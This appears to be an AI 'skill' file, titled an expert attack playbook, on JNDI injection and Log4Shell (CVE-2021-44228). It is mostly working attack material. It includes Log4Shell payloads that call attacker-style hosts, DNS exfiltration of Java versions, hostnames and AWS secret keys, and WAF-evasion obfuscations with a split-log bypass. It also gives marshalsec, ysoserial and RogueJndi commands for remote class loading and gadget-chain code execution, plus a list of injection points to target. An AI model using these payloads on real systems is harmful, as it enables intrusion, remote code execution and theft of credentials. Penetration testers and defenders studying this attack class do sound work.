- SKILL: JNDI Injection — Expert Attack Playbook
- AI LOAD INSTRUCTION
-
- Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
- 0. RELATED ROUTING
- deserialization-insecure
- when JNDI leads to deserialization (post-8u191 bypass path)
- expression-language-injection
- when the JNDI sink is reached via SpEL or OGNL expression evaluation
- 1. CORE MECHANISM
- JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
- Vulnerability
- when
InitialContext.lookup(USER_INPUT)
receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
// Vulnerable code pattern:
String
name
=
request
.
getParameter
(
"resource"
)
;
Context
ctx
=
new
InitialContext
(
)
;
Object
obj
=
ctx
.
lookup
(
name
)
;
// name = "ldap://attacker.com/Exploit"
2. ATTACK VECTORS
RMI (Remote Method Invocation)
rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a
Reference
object pointing to a remote class:
// Attacker's RMI server returns:
Reference
ref
=
new
Reference
(
"Exploit"
,
"Exploit"
,
"http://attacker.com/"
)
;
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with
javaCodeBase
,
javaFactory
, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
DNS (detection only)
dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
3. JDK VERSION CONSTRAINTS AND BYPASS
JDK Version
RMI Remote Class
LDAP Remote Class
Bypass
< 8u121
YES
YES
Direct class loading
8u121 – 8u190
NO (
trustURLCodebase=false
)
YES
Use LDAP vector
= 8u191 NO NO Return serialized gadget object via LDAP = 8u191 (alternative) NO NO BeanFactory + EL injection Post-8u191 Bypass: LDAP → Serialized Gadget Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
Then JNDI lookup points to: rmi://attacker:1099/whatever
Post-8u191 Bypass: BeanFactory + EL When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions: javaClassName: javax.el.ELProcessor javaFactory: org.apache.naming.factory.BeanFactory forceString: x=eval x: Runtime.getRuntime().exec("id") 4. TOOLING marshalsec — JNDI Reference Server
Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit (all-in-one) java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI java -jar RogueJndi.jar --command "id" --hostname attacker.com
Provides RMI, LDAP, and HTTP servers with auto-generated payloads
- LOG4J2 — CVE-2021-44228 (LOG4SHELL) Mechanism Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup() : ${jndi:ldap://attacker.com/x} Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages. Detection Payloads ${jndi:ldap://TOKEN.collab.net/a} ${jndi:dns://TOKEN.collab.net} ${jndi:rmi://TOKEN.collab.net/a}
Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net} ${jndi:ldap://${hostName}.TOKEN.collab.net} WAF Bypass Variants Log4j2's lookup parser is very flexible: ${${lower:j}ndi:ldap://attacker.com/x} ${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x} ${j${::-n}di:ldap://attacker.com/x} ${jndi:l${lower:D}ap://attacker.com/x} ${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x} Split-Log Bypass (Advanced) When WAF detects paired ${jndi:...} in a single request, split across two log entries:
Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
Request 2 (logged second):
X-Custom: exploit} If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers. Real-World Case: Solr Log4Shell
Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action
${jndi : ldap : / / ${sys : java.version} .TOKEN.dnslog.cn }
DNS hit with Java version = confirmed Log4Shell in Solr
Injection Points to Test User-Agent X-Forwarded-For Referer Accept-Language X-Api-Version Authorization Cookie values URL path segments POST body fields Search queries File upload names Form field names GraphQL variables SOAP/XML elements JSON values Affected Versions Log4j2 2.0-beta9 through 2.14.1 Fixed in 2.15.0 (partial), fully fixed in 2.17.0 Log4j 1.x is NOT affected (different lookup mechanism) 6. OTHER JNDI SINKS (BEYOND LOG4J) Product / Framework Sink Spring Framework JndiTemplate.lookup() Apache Solr Config API, VelocityResponseWriter Apache Druid Various config endpoints VMware vCenter Multiple endpoints H2 Database Console JNDI connection string Fastjson @type + JdbcRowSetImpl.setDataSourceName() 7. TESTING METHODOLOGY Suspected JNDI injection point? ├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net} │ └── DNS hit? → Confirmed JNDI evaluation │ ├── Determine JDK version: │ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net} │ ├── JDK < 8u191? │ ├── Start marshalsec LDAP server with remote class │ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE │ ├── JDK >= 8u191? │ ├── LDAP → serialized gadget (need gadget chain on classpath) │ ├── BeanFactory + EL (need Tomcat on classpath) │ └── JRMPListener via ysoserial │ └── WAF blocking ${jndi:...}? └── Try obfuscation: ${${lower:j}ndi:...} 8. QUICK REFERENCE
Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}
LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"